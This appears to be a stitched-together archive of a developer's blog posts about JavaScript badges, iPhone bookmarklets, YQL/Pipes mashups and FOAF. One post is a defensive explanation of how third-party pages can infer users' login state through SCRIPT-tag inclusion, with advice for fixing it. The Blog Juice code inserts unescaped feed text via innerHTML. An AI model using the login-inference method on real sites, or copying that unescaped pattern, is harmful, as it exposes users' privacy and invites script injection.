As usual I'm late for the bandwagon. Here's my very first GitHub project, a case-hardened badge that allows a certain amount of surfing around between GitHub repositories, owners, and watchers.

Things to Do and Notice

• In Projects view, click the arrrow to open up details. The top project will default to open.
• Click between Projects and Following to see the user's repositories and other users he or she is following.
• Click a user icon to switch over.

How It Works

• This badge relies on techniques previously documented in Case-Hardened JavaScript; please look there for technical details.
• For Projects we are looking at the GitHub API, documented here:
  http://github.com/guides/the-github-api
• For Following we are using the spiffy new YQL module on Pipes to gently ping the user's home page on GitHub, grab only the user names and avatars, and return them ready to go. Hopefully the official API will include this soon; for now, it's a very scraping, since Pipes is caching requests.
• Here we see the badge pointed at the GitHub profile belonging to Mark Norman Francis. Norm has interesting projects and is following some interesting people, so he's my test account. Please change it to whoever you like.

Want to Try It Out?

Paste this into the body of your document, right where you want the badge to show up:

<script src="http://kentbrewster.com/github-badge/behavior.js">{"user":"norm"}</script>

Please do NOT point to either of my copies of the script (here or on GitHub) for your production site. That would be Bad. :)

Two Ways to Grab the Source

• Fork the known-to-be-working version from GitHub, here:
  http://github.com/kentbrew/github-social-badge/tree/master
• Grab the unstable experimental version from the box below.

Source Code

Have fun with this, and please let me know how it goes.

iClipper

If you're on an iPhone, or if you have an e-mail client set up for your computer's Web browser, try it now. Click it once, and then click one of the paragraphs on this page.

The Difference Between iClipper and Other Solutions

Unlike other Web-based solutions, iClipper does not send the content you're trying to paste back and forth to a third party site. It lives and works entirely on your device, and nobody can ever see what you're doing or prevent you from doing it.

Installing iClipper

Thanks to alert reader Hardcle and a bit of hacking and writing just now, we have a nothing-but-iPhone install page:

Install Now Without Safari Sync

Go there and do what the page says and you should be up and running without synching bookmarks from Safari. If you have not already made the mistake of syncing your Safari bookmarks, definitely do this; syncing from Safari will bring over a couple of bookmark folders ("Bookmark Bar" and "Bookmarks Menu") that you will not be able to remove later.

If that didn't work, click the Install Through Safari link just below for Plan B:

Install Through Safari

• Bring up Safari on the same machine you sync your iPhone or iPod Touch. If you don't have Safari, go get it now.
• Make sure your Bookmarklets toolbar is showing. If it's not, go to View and select Show Bookmarks Bar.
• Navigate your way back to this page.
• Drag the iClipper bookmarklet to your Bookmarks Bar. It will confirm that you really want to do this, and ask you what you want to call your new bookmarklet.
• Bring up iTunes and plug in your device. Once iTunes recognizes it--oh, and anybody who can tell me how to get Windows to quit bringing up that damn "Camera Connected" dialogue every freaking time I plug it in will be richly rewarded in Heaven--click the device name, and then bring up the Info tab, which is second in line between Summary and Ringtones on mine.
• In Info, scroll down a bit to Web Browser. Click the checkbox next to Sync Bookmarks With, and tell it you want Safari.
• If you've made a change here, your Sync button (lower right corner) will turn into Cancel and Apply buttons. Click Apply. If not, click Sync.
• Wait for your sync to finish; if it starts backing up your device and you don't want to wait, you can safely click the little X to the right of the Backing Up progress bar. You may get a dialogue warning you that your phone didn't back up; this is fine, as long as the sync completes successfully. (Do remember to back up occasionally, however.)

Using iClipper

• Bring up Safari on your iPhone, go to the page you want to copy from, and click the little book-shaped thingie in the bottom bar. Either your History or Bookmarks bar will probably come up; you want Bookmarks, and then Bookmarks Bar.
• Click your iClipper bookmark, and then tap whatever you want to copy.
• If all goes well, your e-mail client will pop up with a message filled in. The subject line will be the title of the page you're on right now; the body will be the text contents of whatever you tapped on the page.
• From here you can send the contents wherever you want, or simply save as a draft. Presto, copy and paste.

Caveats and Gotchas

• Since iClipper looks at a single block-level element--P, LI, DIV, DD, TD, TEXTAREA, or PRE--it might miss important stuff just outside the box. This is especially true for pages using tables-based layout.
• There's no telling what might happen when this thing encounters non-English character sets.
• At the moment we're not cleaning up after the copy operation, so if you go back to the original page and tap anything else, you'll see it in your e-mail editor as well. For best results, reload the page instead.

How It Works

Pretty simple stuff: we're going through the DOM, adding an event listener to all the block-level elements we care about, and popping up the contents in a mailto: url:

Thank You

• Rick Turoczy at ReadWriteWeb, for early link love, and for noticing that iClipper didn't automatically append a link to the page you were clipping from. This has been fixed.
• Hardcle, for the right direction on installing without Safari.
• Jed "PasteBud" Schmidt, for blazing the trail.
• Jim, in the comments, who came through with instructions for disabling that stoopid Windows pop-up every time I plug in my phone.
• Adrian Cahen, who gently pointed out that the base-64 encoding trick I'm using with Cleeper isn't necessary here. Gosh, that's embarassing. :)

iClipper has miles to go; if you're a developer and are thinking about taking it further, be my guest. (A link back here would be appreciated, of course.) As always, have fun, and please let me know how it goes.

Cleeper

Cleeper will inject itself into the page you're on, wait for you to click an existing block-level element, and copy the text of the element into an entry box, where you can edit it. After you're done editing, click the Cleep button to send your message off to Twitter. You'll still need to hit Twitter's update button, so don't panic; Cleeper's not going to post anything on your behalf.

Click it and try it out here first, just so you know what you're getting into. If you want to try it on your iPhone or iPod Touch, drag it to your Safari bookmarks toolbar, sync bookmarks to your device, and you ought to be off and running. If you need some instruction on exactly how to get Cleeper onto your iPhone, click this:

Painfully Detailed Installation Instructions

• Bring up Safari on the same machine you sync your iPhone or iPod Touch. If you don't have Safari, go get it now.
• Make sure your Bookmarklets toolbar is showing. If it's not, go to View and select Show Bookmarks Bar.
• Navigate your way back to this page.
• Drag the Cleeper bookmarklet to your Bookmarks Bar. It will confirm that you really want to do this, and ask you what you want to call your new bookmarklet.
• Bring up iTunes and plug in your device. Once iTunes recognizes it--oh, and anybody who can tell me how to get Windows to quit bringing up that damn "Camera Connected" dialogue every freaking time I plug it in will be richly rewarded in Heaven--click the device name, and then bring up the Info tab, which is second in line between Summary and Ringtones on mine.
• In Info, scroll down a bit to Web Browser. Click the checkbox next to Sync Bookmarks With, and tell it you want Safari.
• If you've made a change here, your Sync button (lower right corner) will turn into Cancel and Apply buttons. Click Apply. If not, click Sync.
• Wait for your sync to finish; if it starts backing up your device and you don't want to wait, you can safely click the little X to the right of the Backing Up progress bar. You may get a dialogue warning you that your phone didn't back up; this is fine, as long as the sync completes successfully. (Do remember to back up occasionally, however.)

Using Cleeper

• Bring up Safari on your iPhone, navigate your way back here, and click the little book-shaped thingie in the bottom bar. Either your History or Bookmarks bar will probably come up; you want Bookmarks, and then Bookmarks Bar.
• Deep inside your Bookmarks Bar, which should come up by default next time, you'll see the bookmark you sync'ed from Safari. Click it, and you should see a lovely yellow box at the top of the page you're browsing.
• Click what you want to tweet and the yellow box should expand to show its text content.
• Double-tap the text box to zoom in, edit until the number of characters in the middle is under 140--this is not terribly important, but you'll have a better experience editing here than on the mobile version of Twitter, so you might as well go ahead--and then click that left button.
• Twitter should come up, with your message all filled in and ready to send. If you need to log in, you can do so and your message will be there when you get back.
• Fire away!

If I Could Ask One Special Favor....

... it would be that your first Cleeper-assisted tweet looks something like this:

Trying out @kentbrew's Cleeper, an iPhone copy-to-Twitter assistant, from http://bit.ly/pxfu

Go on, cleep it right now. You know you want to! :)

Caveats and Gotchas

• Existing document styles may hose the entry box's colors, layout, and font sizes.
• If you copy a paragraph that contains more words than will fit into the text entry box, or the font size (see above) is too big, you won't be able to scroll down.
• There's no telling what might happen when this thing encounters non-English character sets.
• We're not cleaning up after that Cancel button; for best results, reload the page instead.

Directions for Future Development

• Paste straight to e-mail.
• Add a bunch of different services, not just Twitter. There's no reason why Cleeper shouldn't be a global share-this/annotate-this bookmarklet.
• Be more precise about selecting text. Figure out how to break each detected block-level element into word-sized SPAN tags, and only bring in enough to fill the entry box.
• Think about using Safari's HTML5 persistent database as a clipboard. You'd need two bookmarklets, one to copy and one to paste, but it would probably work, and would be a client-only solution to the global copy-and-paste problem.

How It Works

It's a tiny bit more complicated than iClock, which runs straight from a data: url. In order for Cleeper to work, we need to inject it into the page containing the target text. That's easy; we do something like this:

javascript:(function(d){d.body.appendChild(d.createElement('SCRIPT')).src='http://yourserver.com/yourscript.js';})(document);

Because we don't want the code that does the heavy lifting to come from an outside server--privacy, efficiency, and all that--we need to serve it up locally, using the base-64 encoding method described in iClock. So we write a script, base-64-encode the whole thing, and serve it up as data instead of fetching http://yourserver.com/yourscript.js from a remote URL. Like so:

javascript:(function(d){d.body.appendChild(d.createElement('SCRIPT')).src='data:text/html;charset=utf-8;base64,yourbase64encodedscript';})(document);

The Actual Source Code

Sorry this is so compressed; I was running up against a hard number-of-characters-in-a-bookmarklet limit in Safari. It's pretty unremarkable DOM manipulation, and probably could be improved with an axe.

If you find Cleeper to be useful, please follow me at kentbrew, so I can keep you up-to-date. As always, have fun with this, and please let me know how it goes.

Here's an interesting technique spotted on W. Clawpaw's page quite a while back, using data: urls as the source of toolbar bookmarklets and iPhone apps.

What you're seeing on this page isn't mine; it's lifted mostly from the Mozilla Developer Center's Basic Animations page for the <CANVAS> tag.

To try running it on your iPhone, visit this page and click this handy iClock Link and wait for it to load up. Once it's running, hit the + at the bottom of your browser to add it to your home screen. (For the nicest-looking icon, turn the iPhone or iPod on its side into landscape mode.)

The rendered page shouldn't look any different from this; you can even view source and see how it works. The difference will be in the URL: instead of http://kentbrewster.com/iclock, the entire base-64-encoded page will be contained in the bookmarked URL. Once it's running, go back out to your Settings, turn off your network by going into Airplane Mode, and then come back and try iClock again. If all went well, you should see a working clock with your network disabled, because the bookmark itself contains everything necessary to recreate the page.

How to Do Something Like This Yourself

First, write a page that looks good and works well on an iPhone. If you haven't tried this already you're in for some head-scratching; good search terms include window.onorientationchange, preventDefault, and window.scrollTo(0, 1).

Next, you'll need to concatenate everything--the entire page, HTML, CSS, JavaScript, the works--into a single file. Remember, we want to load everything up at once, without including any external resources from the network.

Finally, convert the source of your working page to base-64 encoding. I wound up using an online form from Tyler Akins.

Once you've got your base-64 encoded page, serve it up thusly:

<a href="data:text/html;charset=utf-8;base64,Base64EncodedGibberishHere">Link Title</a>

Your page ought to load up inline and work when you click it or drag it up into your Web browser's bookmark tool. Once you're happy with it, fire it up on your iPhone the same way you installed iClock.

As always, have fun with this and please let me know how it goes.

Until the release of Yahoo! Query Language, one of the key parts missing from del.icio.us (or "Delicious," as it's now branded) was a full-text search API. What follows uses YQL, Pipes, and a couple of native feeds from Delicious to provide an on-page search-and-browse experience, for users, tags, and sites.

Things to Do and Notice

• The initial search defaults to "yahoo." Enter something else--"Luke Wroblewski" gives interesting results--and hit Enter to re-run.
• Results show the page, the first user to bookmark it, and some tags. Click the page to visit the page; click the tag or user to open a new search box.
• To re-run the search against tags or users, change the value in the select box.
• As you open new searches, all the users and tags you encounter will build up in their respective boxes.
• As you run searches or click tags and users, they will go into a special set of boxes up top, to help keep track of things.
• To visit any search term, tag, or user on Delicious, open (or find) their search box and click the "see on del.icio.us" link in the header.
• To visit a page, click its title. Notice that it also opens in the "page on del.icio.us" box; click the title there to visit the detailed entry for that page on del.icio.us.

Things to Do and Notice

If you see an author's name in a post, click it to explore his or her friends' posts. Click the avatar to visit the home page. To visit the author's identi.ca page, click the top link, to so-and-so with friends. Unicode should be (finally) working.

Other new goodies: click the date to visit the post, the in-reply-to link to go to the original, @-links to visit author pages, and #-links to go to the search page. Oh, and I think I've gotten most of the default colors to match identi.ca; sorry if this breaks any custom formatting, but I warned you not to leech it from me, didn't I? :)

To try this yourself, copy and paste the following wherever you want the badge to show up:

<script type="text/javascript" src="http://kentbrewster.com/js/identica-badge.js">
{
   "user":"kentbrew",
   "server":"identi.ca",
   "headerText":" and friends"
}
</script>

Substitute your own ID in the user parameter; many of the other parameters available in Twitterati will also work.

If you find a working Laconica server that forms its RSS urls the way identi.ca does, the badge should work unmodified as long as you substitute the server name of your choice for identi.ca in the second parameter.

Known Trouble

Sort isn't working on My Little Friend IE.

There's an extra call when the thing starts up; it needs to look up the numeric id and common name for the screen name you enter.

About Identica / Laconica

As it says on the About page, Identi.ca is a micro-blogging service based on the Free Software Laconica tool.

For more about the project, see Marshal Kirkpatrick's Identi.ca: May A Million Twitters Bloom, Hugh McGuire's Why Identi.ca Matters, and Edd Dumbill's Why Identi.ca is Important. Personally I'm thrilled by the idea and encouraged by its execution so far, and have been poking cautiously at Laconica for the past couple of weeks, hoping to contribute in whatever way I can.

About the Techniques

For background information about how badges like this one work, please see Case-Hardened Web Badges, which I presented at Web 2.0 earlier this year.

As I've said before, this badge will hopefully wind up being hosted by the project. I don't mind if you try it out, but please host your own copy if you put it in production anywhere.

Have fun, and please let me know how it goes! (You can find me on identi.ca under kentbrew.)

How It Works

A short while back, the smart folks behind Yahoo! Pipes released the next iteration, Yahoo! Query Language. YQL treats everything on the Web like a database table; the syntax will be familiar to anyone who's ever used MySQL. Here's how we're getting the data for the demo above:

select * from html where url="http://finance.yahoo.com/q?s=yhoo" and
xpath='//div[@id="yfi_headlines"]/div[2]/ul/li'

This does exactly what you think it does: it requests the Yahoo! Finance listing for the ticker of your choice (YHOO, in this case) and uses XPath to grab just the recent headlines. Go try out the YQL console now, if you want; this example is all the way down the list of Available Data Tables, on the right of the page.

There is, of course, one small complication: as of right now--they tell me this will change soon for public data--all YQL calls need to be signed with oAuth. As long as you are absolutely sure you're not revealing a consumer key that is also used to access user data for some other application, a two-legged oAuth call can be done entirely on the client side with JavaScript. Here's how I did it:

$org_source

Please go get your own oAuth application key at the YDN dashboard; using mine would be terribly bad karma. :)

I'm not going to go into a huge amount of detail here; I'm trying to figure out three-legged oAuth right now, and hopefully this approach won't be necessary in a little while. Still, it was fun to figure out client-side oAuth--it's quite a bit simpler than it looks in the Netflix library--and put something up.

Of particular interest here may be the compressed HMAC-SHA1 function; this was simplified from Paul Johnston's full-sized version, here: http://pajhome.org.uk/crypt/md5/sha1.js.

I think YQL is at least as significant of a development as Pipes. Pipes made client-side mash-ups possible; YQL will make possible a global API layer over anything you can touch with HTTP. More on this, later.

As always, have fun with this, and please let me know how it goes.

<script type="text/javascript" src="http://kentbrewster.com/crunchbadge/crunchbadge-prototype.js"></script>

CrunchBadge uses many of the techniques detailed in Case-Hardened JavaScript; please go there for technical details. If you want to poke at the CrunchBase API, which is pretty sweet, check out their Google group.

After the result renders, we're running everything back through the link detector, so you can continue to surf CrunchBase while remaining on the page you were interested in. Once you mouse over a second enhanced link, its title will go into the select box in the headline, and you'll be able to easily find your way back.

To minimize mistaken mouse-overs, we've added an arbitrary quarter-second delay between event detection and response.

Please Note

This is a PROTOTYPE, folks. Feel free to try it out from here, but do NOT put it into production anywhere or I will rename the script. If you want to run it on your page, please host it yourself!

Try It Out

Mouse over any of the following links to see it working:

• Amazon
• Sun Microsystems
• Michael Arrington
• Kleiner Perkins Caufield & Byers
• Attention PR
• Thwirl

Please note that these are standard links, with absolutely nothing extra added. Due to the excellent foresight of the CrunchBadge site and API designers, everything you need is already right there in the URL.

Still to Come

Right now we're just showing titles, images, overviews, lists of relationshiops for companies, and Web presences for individual people. There's a ton more stuff in CrunchBase, and I can think of lots of interesting mash-ups to be done with stock quotes, Web search, social networking, and other stuff.

Thank You

Mike Arrington and the rest of the TechCrunch / CrunchBase team, who are putting out one hell of a valuable resource, for free. Nicely done, you guys!

Start Presentation in New Window

Please keep in mind that this is a presentation, not a book. Lots of stuff is hinted at; much was said live that isn't here, obviously. If you'd like me to present this--or something like it--at your conference, please contact me and I'll see what I can do.

Yes, the examples really do work; copy, paste, save, and run, and you'll see it live, right there in your browser.

As always, have fun, and please let me know how it goes.

What I Want

• To create, update, and share one (and only one!) instance of my public profile information--including contacts, status, location, and so forth--and serve it up so anyone who asks can see it with a minimum of fuss.
• To delegate the right to update certain branches of my profile to agencies that I trust, such as MyBlogLog or Twitter.
• To reserve administrative rights--including create, read, update, and delete--over the root of the profile.

That last is most important. For a while now I've been hearing about various "data portability" initiatives, most of which will only allow you to make a copy of some small subset of the current state of your profile. Everything else--including historic transactions and top-secret personal information--remains online, per the terms of the TOS you ignored when you first joined up.

Remember, if you can't delete it, it's not portable.

Narrowing the Scope

Okay, so ... what do I want it to do that I can accomplish myself? Simple stuff, mostly:

• I want interested people to be able to hit a single url, http://foo.com/myid, and get back a JSON object containing my complete profile. If I add a callback to the url, http://foo.com/myid/callback, I want it to come back as JavaScript, properly wrapped for use with the SCRIPT tag hack. (Oh, and no screwing around with arrays of callback functions and the like; please give me the callback inside the return, like Pipes does.)
• When I'm signed in, I want to see my public profile in a textarea and make changes that instantly update the whole thing. None of this hand-holding nonsense; I want the bare metal, please, and if I want to delete it, I want to delete it.
• I also want a private object, consisting of nothing but key-value pairs. Each key will exactly match the branch of my main object I want others to be able to edit; each value will be the password I expect them to submit to make changes.
• When one of my outside agents--Fireeagle, for example--makes a POST to my profile, I want it to check for a key-value match in my private object. If the agent knows the password, I want my profile to allow it to update the validated branch object.

A First Half-Blind Stab

To pull this off, I needed something big, fast, powerful, and free. Google's Application Engine was immediately interesting to me because of the single most impressive developer demo I've ever seen, Brett Slatkin's Introducing Google App Engine. Everything Brett showed in the video looked completely doable, and when I tried it out, by golly, it was. (I'm still looking at it, and cursing the fact that I can't copy and paste directly from the code in the video. Boy, would that ever be cool.)

Thanks to Steve Souders, late of Yahoo but recently moved to the big G, I've acquired early access. As of this writing App Engine still in closed beta; keep an eye on their blog for updates.

Can we See the Source Code, Please?

Nawp, sorry, not yet. It's like this: Open Profile is my first Python program, ever. I can see dozens of places where it sucks, and I'm not even remotely qualified to tell if something written in Python sucks or not. I'm in conversations right now with a Python expert; once I get it vetted I will credit him appropriately and open-source everything.

This thing would definitely work on a non-Google box, with the addition of user authentication plus minor mods to make it talk to MySQL, so if you wanted to put it on that server in the basement and own it completely, you could.

View My Profile

Here's my public profile on http://exo.appspot.com/kentbrew/ping:

The base URL is http://exo.appspot.com/kentbrew; the callback I've wrapped it in is ping. If you omit the callback, you'll get a pure JSON object, which your browser may or may not be able to handle inline.

As you can see, I have two branch objects in my profile, foo, containing the last value you guys put in, and status, containing an array of objects that you theoretically can't monkey with. Using my private object, which you don't see here, I've granted permission to edit object foo:

Things to Do and Notice

• Enter some valid JSON for the contents of the object you want to update. Be sure to quote your strings and bracket your objects and arrays.
• You'll see an intentionally sparse success-or-failure message go by when you submit this. We don't want to give the bad guys any hints about what they might be doing wrong.
• If you see the Success message, use the Reload link to see your changes serve up.
• This should work for anyone, signed in to Google or not, because I've given you my root object name, my branch object name, and its password.
• There's no callback option for the update function, since it's only supposed to be POSTed.
• You should not be able to monkey around with my status object, since you don't know the password.
• If you head over to exo.appspot.com and create your own object with an open branch, you ought to be able to update it from here.
• Right, updates are not even remotely secure. This could be mitigated somewhat with https ... but please don't use this form for anything mission-critical.

Directions for Future Development

• I can see an approach like this lending itself quite nicely to decentralized social networking. If I have a list of contacts and they each have their own open profiles and they all point back to me in a contacts array, we can deduce the same sorts of relationships we find in FOAF or XFN.
• Unlike FOAF or XFN, delegated update rights are built in. Any service that cares could ask me to put up a branch object and give them a password.
• Next up, I'm going to see if I can hook up Twitter and get some real status updates in there.

How It Feels So Far

Even though it's in an embryonic stage and nobody at all is paying attention, I like it.

I'm creating data. I'm authorizing access. I'm giving out passwords to my agents, not begging them from big faceless companies. Unlike all those other Web profiles, which could change or vanish at the whim of their hosting companies, this one feels powerful, like I own the thing, instead of it owning me.

What's This?

FOAFster is a prototype visualizer for Friend Of A Friend relationship objects. What you're seeing here are icons for a bunch of FOAF contacts, scattered around the screen, and network services, in a much neater line at the top.

About FOAF

I've been interested in FOAF for a long time. Abstracting out all my social relationships into a separate layer, just as I do with my presentation and behavior layers, really resonates. Future possibilities like being able to point marketers at my FOAF object so they will quit wasting their time trying to sell me timeshares seems like a very real possibility.

The problem? As it sits right now, FOAF is a giant pain to update. Most folks fire it once and forget it; the results range from amusing to disastrous.

What changed today? MyBlogLog rolled out FOAF. And now, finally, I don't have to worry about keeping a file on my Web site. All I need to do is add people and services to my network on MyBlogLog, and it's taken care of for me. Here's my FOAF object, courtesy of MyBlogLog:

http://www.mybloglog.com/buzz/members/kentbrew/foaf/

Why MyBlogLog's FOAF Is Superior

All this is generated and re-generated for me, whenever I add a service or a contact, and whenever any of those contacts add a service of their own. So now all I need to do is link it in the HEAD of my document, like so:

<link rel="meta" type="application/rdf+xml" title="FOAF" href="http://www.mybloglog.com/buzz/members/kentbrew/foaf/" />

Although other services like LiveJournal and FriendFeed are doing this, MyBlogLog's FOAF is superior. LiveJournal only points inwards; FriendFeed does not contain your contacts' network connections. And nobody else in the world is presenting FOAF as a JSON object wrapped in the callback of your choice, if you ask nicely, using format=json&callback=foo. Although it's possible to run anybody's FOAF object through Pipes and get JSON back, MyBlogLog cuts out the middleman by being brave enough to serve it all up live.

Want to Play?

It's trivially easy, which is how it ought to be. Go sign up at MyBlogLog, add some services and/or contacts, and your FOAF should be ready to rock, at http://www.mybloglog.com/buzz/members/yourname/foaf/.

Things to Do and Notice

• Click any of the service icons to see what the user in the background is doing over there. (These use the same Pipes I wrote for Blog Juice, if you're interested.)
• Click any of the contact faces to go see what they're up to. They will always show up in the same spot for each starting profile.
• If you need to go back--yes, there are dead ends out there; you'll be alerted if you hit one--click one of the faces in the row of breadcrumbs at the bottom right.
• If you'd like to try it out starting from a different ID, enter it at the end of this page's URL, like so:
  http://kentbrewster.com/foafster?q=johnsampson

Caveats and Gotchas

• Some people--Scott Beale, for one--have incomplete information about their Flickr profiles on MyBlogLog. You guys need to go update before you'll see your Flickr photos.
• There's a lot going on; the first time you try a FOAF object that hasn't been generated yet it may go slowly, depending on network latency and caching and such. I'm sneakily changing out the background and the person's name right when you click; you'll see the usual square twirligig while the FOAF query is running.
• I've set an arbitrary limit of 400 contact icons, but the whole FOAF object still comes down from MyBlogLog, so it can take a while. Sometimes--*koff*Rafer*koff*--a long while.
• It's semi-broken on IE, and twitchy on Opera. This is all my fault, not that of the API; working on it now.

Directions for Future Development

• User should be able to click a face from the MyBlogLog reader roll, or automatically start with the signed-in MyBlogLog user.
• User should be able to drag and drop those faces, and save their locations as a cookie or to a central server. Face locations should be consistent no matter who the starting account is.
• Individual icons should scurry into and out of the middle when you mouse over a service icon that they have; it ought to look like the Stanford marching band.

I'll have the code up once I fix up the IE bugs; for now, adventurous developers should know how to read source, copy, and paste. Have fun, and please let me know how it goes.

During the intervening months I've had a chance to give Pipes a workout. Examples range from the simple Badger application to rolling a complete API layer to cover a multitude of different sites and endpoints.

This morning, the Pipes team launched a new feature, Pipe Badges. Using several of the ideas collected in Case-Hardened JavaScript, Pipe Badges allow the site operator to include a single line of JavaScript, hosted by Pipes, and see one of three handy badges--list, image, or map view--pop up instantly.

If I'm not mistaken, this:

<script src="http://pipes.yahoo.com/js/mapbadge.js">{
   "pipe_id":"WlLkGRj63BGEG7TKiHrL0A",
   "_btype":"map",
   "pipe_params":{
      "q":"pizza",
      "g":"95051"
   }
}</script>

... is just about the single easiest way to search for something near something, and display the results as a map on your site. Here we're searching for pizza near 95051; parameters q and g can be changed to anything you like.

Pipe Badges are the result of many months of coding by the Pipes team, including Jonathan Trevor and Paul Donnelly. Awesome work, you guys; keep it up!

As a result of several eye-opening conversations I've had while at SxSW this year, I've taken down all of the articles detailing live exploits. As trivial as they are, I should not have disclosed any specific vulnerabilities without warning the service operators first, and I want to strongly discourage anyone from following my example, which was the wrong thing to do.

I will, however, present an overview of the methods I used, and the lessons I learned during the process.

Principles:

• Any file on your site, whether or not it is actually JavaScript, can be included with a SCRIPT tag by a third party.
• If the contents of that file vary sufficiently depending on the user's cookies--which almost always contain his or her login status--a third-party site can infer information which should be private, beginning with the user's login status and potentially including much more.

Detecting Vulnerabilities in Your Service:

Before you push a new feature to your AJAX-powered site, please run through the following steps:

• Get Firefox and Firebug, and sign in to your service.
• Go to any page that has an AJAX-powered interaction that should only be usable if the user is signed in. This could be a message post, a profile update, a mailbox read, a social network connection update ... we're looking for anything that affects the content of the page without reloading it that should only be visible if the user is logged in.
• Once you've found it, run it.
• Open up Firebug, go to the Net tab, and find the interaction.
• Open the interaction's URL in a separate browser tab.
• Go back to the original tab and sign out of your site.
• Open a new tab, and paste in the interaction's URL again.

Analysis

View the source code of both states, and answer these two questions:

• Does either state contain executable JavaScript?
• If not, when both states are loaded as SCRIPT tags, do they throw different errors?

If the answer to either question is Yes, your users' login state can be guessed by a tiny scrap of JavaScript, running only in the client.

Some Suggestions

• Don't serve live JavaScript. It's trivially easy to exploit.
• Make sure your error messages come down in the same format, whether or not the user is logged in. If an URL returns XML when the user is logged in but redirects to the login page when he's not, you're vulnerable, because they throw different errors when included as SCRIPT tags.
• If you're offering an API, be sure that your endpoints throw the same errors whether or not the user is logged in. Are you offering a JSON object wrapped in a callback to authenticated users and a redirect to your login page to others? One throws an error and the other does not.
• Don't serve up hcards or vcards to signed-in users and HTML errors to outsiders. While neither is valid JavaScript, they throw different errors when included as SCRIPT tags.
• Test all the URLs on your site that are supposed to be POSTed and be absolutely certain they return the same error whether or not the user is logged in, in the event some clever fellow tries a GET.
• Keep an eye on your referrer and error logs. Are your AJAX endpoints starting to throw a lot of those please-go-log-in errors? Are they being linked from sites that have no business peeking or poking at them? Somebody may have already found a hole in your site.
• Have a clearly marked path for reporting security holes, listen, and be extremely responsive!

Please Note

This isn't meant to be a definitive list, just cautionary squawking about a very common vulnerability. Please be careful; your users are depending on you.

Blog Juice

You can try it here, or drag it to your bookmarks toolbar and run it anywhere else on the Web. (On IE, right-click, add to favorites, say Yes to continue past scary warning, and choose Links. You may then need to fiddle around with your Tools drop-down in order to get Links to show in your chrome.)

Things to Do and Notice

• Each reader comes up in a toggle-able list item. You'll see a MyBlogLog avatar, a name, and possibly some tags. Click the name to visit the MyBlogLog profile; click the tag to see a list of other users with that tag.
• Click anywhere else in the reader record to open it up and see details from ten different social networks. At the moment, they are: MyBlogLog, Twitter, Upcoming, Digg, LinkedIn, Delicious, Flickr, Last.fm, StumbleUpon, and YouTube.
• Inside the detail you'll be able to click the item to go over to the other site and view it.
• Up top are a series of icons that match the detail icons for each service. Mouse over them to only show reader roll items.
• The MyBlogLog icon (first on the left at the top) will show the user's authored blogs. Click the image to open its reader roll up, right there in the badge without leaving the page you're on. Click the text link to visit the blog.
• Each user has a checkbox. If you check it, the user will be added to your Stalk List, and a small icon resembling a guy cradling a loaf of French bread will show up at the bottom of the badge. Click the French Bread Guy to see all your buddies.
• As of the latest version, the widget comes up in an iframe. This works seamlessly in all browsers except IE. We're using an iframe because the CSS is much easier to construct, and when you bookmark a user for your Stalk List, the cookie will be set to my domain, not the domain you're on, so it will be available no matter where you go on the Web.

Rolling Our Own API with Pipes

Astute readers will immediately recognize that some of the services we're querying don't actually have APIs, and those that do have vastly differing endpoints. To cut down on the amount of scripting required to send and receive data, I've rolled my own APIs for each of them, using Pipes.

• http://pipes.yahoo.com/kentbrew/blogjuice_delicious
• http://pipes.yahoo.com/kentbrew/blogjuice_digg
• http://pipes.yahoo.com/kentbrew/blogjuice_flickr
• http://pipes.yahoo.com/kentbrew/blogjuice_lastfm
• http://pipes.yahoo.com/kentbrew/blogjuice_linkedin
• http://pipes.yahoo.com/kentbrew/blogjuice_stumbleupon
• http://pipes.yahoo.com/kentbrew/blogjuice_twitter
• http://pipes.yahoo.com/kentbrew/blogjuice_upcoming
• http://pipes.yahoo.com/kentbrew/blogjuice_youtube
• http://pipes.yahoo.com/kentbrew/blogjuice_tumblr

Each takes an S parameter, the user id, and an optional N parameter, the number of items you want back from each endpoint, which defaults to 3. Output from all of these pipes looks substantially like this:

"items":[
   {
      "u":"http:\/\/twitter.com\/jlam\/statuses\/717107112",
      "t":"jlam: Would anyone like to catch http:\/\/tinyurl.com\/3xz6kc tonite?"
   },
   {
      "u":"http:\/\/twitter.com\/jlam\/statuses\/717097392",
      "t":"jlam: @dearlazyweb a 713733562 Ben, John http:\/\/ejohn.org is writing one now. Meanwhile, see http:\/\/jQuery.com and http:\/\/learningJQuery.com"
   },
   {
      "u":"http:\/\/twitter.com\/jlam\/statuses\/705479382",
      "t":"jlam: Indeed @Coley Hong Kong has unbelievably awesome public transportation! The subway costs $0.10\/mile but profitable, and did an IPO in 2000."
   }
]

If there's a thumbnail in the API, it shows up in the n object. Using Pipes eases the strain on these outside sites and provides a consistent output stream from many different sources, so a single subroutine can render all the many different results.

getActivity : function(mbl, api, nick, id) {
   var callback = trueName + '_' + mbl + '_' + api + '_' + nick + '_' + id.replace(/@/, '');
   window[callback] = function(z) {
      var t = callback.split('_');
      var mbl = t[1];
      var api = t[2];
      var nick = t[3];
      var id = t[4];
      if (t.length > 4) {
         var n = t.length - 1;
         for (var i = 5; i < n; i++) {
            nick += '_' + t[i];
         }
         id = t[n];
      }
      if (z && z.value && z.value.items) {
         var r = z.value.items;
         for (var i = 0; i < r.length; i++) {
            var li = document.createElement('LI');
            li.className = api;
            var img = document.createElement('IMG');
            img.src = 'http://l.yimg.com/us.yimg.com/i/us/mbl/services/i' + api + '.png';
            img.align = 'absmiddle';
            li.appendChild(img);
            var tx = r[i].t;
            if (api == 'twitter') {
               var tx = tx.replace(/http:\/\/([^\s,-]*)/gi, '<a href="http://$1" target="_blank">http://$1</a>').replace(/@([^\s,.!-]*)/gi, '@<a href="http://twitter.com/$1" target="_blank">$1</a>');
               r[i].u = '';
            }
            if (r[i].u) {
               var a = document.createElement('A');
               a.href = r[i].u;
               a.target = '_blank';
               if (r[i].n) {
                  var img = document.createElement('IMG');
                  img.className = 'v';
                  if (api == 'flickr') {
                     img.className = 'q';
                  }
                  img.align = 'absmiddle';
                  img.src = r[i].n;
                  a.appendChild(img);
                  li.appendChild(a);
                  var a = document.createElement('A');
                  a.target = '_blank';
                  a.href = r[i].u;
               }
            } else {
               var a = document.createElement('SPAN');
            }
            a.innerHTML = tx;
            li.appendChild(a);
            $.s.c.bd[mbl].appendChild(li);
         }
      }
      $.f.addServiceIcon(mbl, api);
      $.f.removeScript(callback);
   };
   if (id) {
      nick = id;
   }
   var url = 'http://pipes.yahoo.com/kentbrew/blogjuice_' + api + '?_render=json&_callback=' + callback + '&s=' + nick;
   $.f.runScript(url, callback);
}

